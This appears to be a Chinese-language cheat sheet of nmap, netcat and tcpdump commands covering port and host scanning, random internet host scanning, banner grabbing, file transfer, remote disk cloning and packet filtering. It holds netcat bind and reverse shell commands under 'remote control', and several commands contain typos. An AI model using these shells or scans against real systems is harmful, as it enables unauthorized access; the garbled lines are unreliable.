netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。
netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。
nmap -p 21 192.168.1.0/24 #检测192.168.1.0/24网段有哪些主机提供ftp服务
nmap -n -sP 192.168.1.0/24 #检测192.168.1.0/24网段有哪些存活主机 -n选项:禁用反向解析
nmap -PS 192.168.0.100 #探测目标主机开放的端口
nmap -O 192.168.0.100 #探测目标主机操作系统类型等信息
Nmap工具默认扫描前1000个端口,即1-1000。如果用户想扫描1000以上端口的话,需要使用-p选项来指定。
# nmap -O -PN 192.168.1.1/24
以上命令告诉发信主机远程主机是存活在网络上的,所以没有必要发送ping请求,使用-PN参数可以绕过PING命令,但是不影响主机的系统的发现.
【本地运行】nc -nvv -w2 -z 192.168.1.101 80-1024
【命令解释】扫锚192.168.1.101的80-1024端口,连接超时时间为2秒。
#vi list.txt
参数解释;-iL选项,就是用来从IP地址列表文件中提取所有地址的。其中,IP地址列表文件中包含了一列被扫描的主机IP地址。并且,在IP地址列表文件中的每个条目必须使用空格、Tab键或换行符分割。
nmap -iL list.txt
Nmap工具提供了一个-iR选项,可以用来选择随机的互联网主机来扫描。Nmap工具将会随机的生成指定数量的目标进行扫描。其中,语法格式如下所示:
使用Nmap工具随机选择两个目标主机进行扫描
nmap -iR [主机数量]
实例:
#nmap -iR 2
Nmap扫描排除扫描目标
当用户指定一个扫描范围时(如局域网),在该范围内可能会包括自己的主机,或者是自己搭建的一些服务等。这时,用户为了安全及节约时间,可能不希望扫描这些主机。此时,用户就可以使用--exclude命令将这些主机排除。
实例:
#nmap 192.168.1.1/24 --exclude 192.168.1.101
当用户排除扫描的目标很多时,也可以将这些目标主机的IP地址写入到一个文本文件中。然后,使用--excludefile选项来指定排除扫描的目标。
#vi list.txt
# nmap 192.168.1.0/24 --excludefile list.txt
使用Nmap工具对目标主机192.168.1.105实施全面扫描
# nmap -A 192.168.1.105
可以看到目标主机上开启的端口、服务器、版本、操作系统版本、内核、系统类型等。根据分析输出的信息,可知目标主机上运行了FTP、SSH、Telnet等服务,并且可以看到各服务的版本及权限信息。
nmap localhost #查看主机当前开放的端口
nmap -p 1024-65535 localhost #查看主机端口(1024-65535)中开放的端口
nmap -PS 目标主机IP #探测目标主机开放的端口
nmap -PS22,80,3306 目标主机IP #探测所列出的目标主机端口
nmap -O 目标主机IP #探测目标主机操作系统类型
nmap -A 目标主机IP #探测目标主机操作系统类型
nmap -p 21 目标主机IP/24 #检测192.168.1.0/24网段有哪些主机提供ftp服务
nmap -n -sP 目标主机IP/24 #检测192.168.1.0/24网段有哪些存活主机 -n选项:禁用反向解析
nmap -PS 目标主机IP #探测目标主机开放的端口
nmap -p 1024-65535 目标主机IP #探测目标主机端口段状态
nmap -su #UDP扫描
nmap -sP #ICMP扫描
nmap -P0 #跳过ping检测
常用参数组合:nc -z -v -n 目标主机IP 21-25
解析:打印21到25 所有开放的端口
z参数告诉netcat使用0 IO,连接成功后立即关闭连接,不进行数据交换 ,v参数指使用冗余选项,n 参数告诉netcat 不要使用DNS反向查询IP地址的域名
#nc -v 目标主机IP 21
#会连接开放端口21并且打印运行在这个端口上服务的banner信息,Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner
# nc -zv -u 目标主机IP 500
解析:UDP 500端口又叫isakmp,用来建立VPN用的端口。现在VPN断了,所以测试下500端口通不通。一般UDP端口很难测试,只能用netcat来测
ping smtp.163.com -->得到公网ip
nc -nv 123.125.50.138 25
ehlo suemy
A: nc -l -p 333
netstat -pantu | grep 333
B: nc -nv 192.168.66.203 333
可以开始聊天通信
type -a nc
A: nc -lk 999
B : ll -s | nc -nv 192.168.66.204 999
A : nc -lk 333 > ps.txt
B :ps aux | nc -nv 192.168.66.204 -q 1
(标准输出完成delay几秒退出)
A : cat ps.txt
A: nc -lk 222 > lsof.txt
B: lsof | nc -nv 192.168.66.203 222 -q 1
A: cat lsof.txt
#传输文件:
A:nc -lk 333 < 2.3.mp4 -q 1
B:nc -nv 192.168.66.203 333 > b.mp4
#传输目录:
A:tar -cvf - dockerfile/ | nc -lk 333
B:nc 192.168.66.203 333 | tar -xvf -
#加密传文件:
A : nc -lk 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B : mcrypt --flush -Fbq -a rijindael -256 -m ecb < a.mp4 | nc -nv 192.168.66.203 333
NC 流媒体服务器:
A : cat 1.mp4 | nc -lk 333
B : nc -nv 192.168.66.203 333 | mplayer -vo x11 -cache 3000 -
NC 端口扫描:
nc -nvz 192.168.66.204 1-65535
nc -vnzu 192.168.66.204 1-1024
NC远程克隆硬盘:
使用场景,远程电子取证,可以将目标服务器硬盘远程复制或者内存
A: nc lk 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 192.168.66.203 333
NC 远程控制:( 若在window下把bash改为cmd)
正向:
A:nc -lk 333 -c bash
B : nc -nv 192.168.66.203 333
反向:
A : nc -lk 333
B : nc -nv 192.168.66.203 333 -c bash
TCPDUMP
NO-GUI 的抓包分析工具
Linux/Unix系统默认安装
默认只抓68个字节
tcpdump -i eth0 -s 0 -w file.pacap //-s 大小 0表示多大都抓取。-w写入指定文件
tcpdump -i eth0 port 22 //实时显示
读取抓包文件
tcpdump -r file.pcap
tcpdump -A -r file.pcap //以阿克斯码形式显示
tcpdump -X -r file.pcap //十六进制显示
常用显示筛选:
tcpdump -n -r http.cap | akw '{print $3}' | sort -u //n不对ip地址进行解析域名
tcpdump -n src host 192.168.0.1 -r http.cap //筛选来源ip为192.168.0.1
tcpdump -n dst host 192.168.0.2 -r http.cap
tcpdump -n port 53 -r http.cap
tcpdump -nX port 80 -r http.cap
高级显示筛选:
tcpdump -A -n 'tcp[13]=24' -r http.cap //tcp第13个字节
# curl ifconfig.me //查看出口IP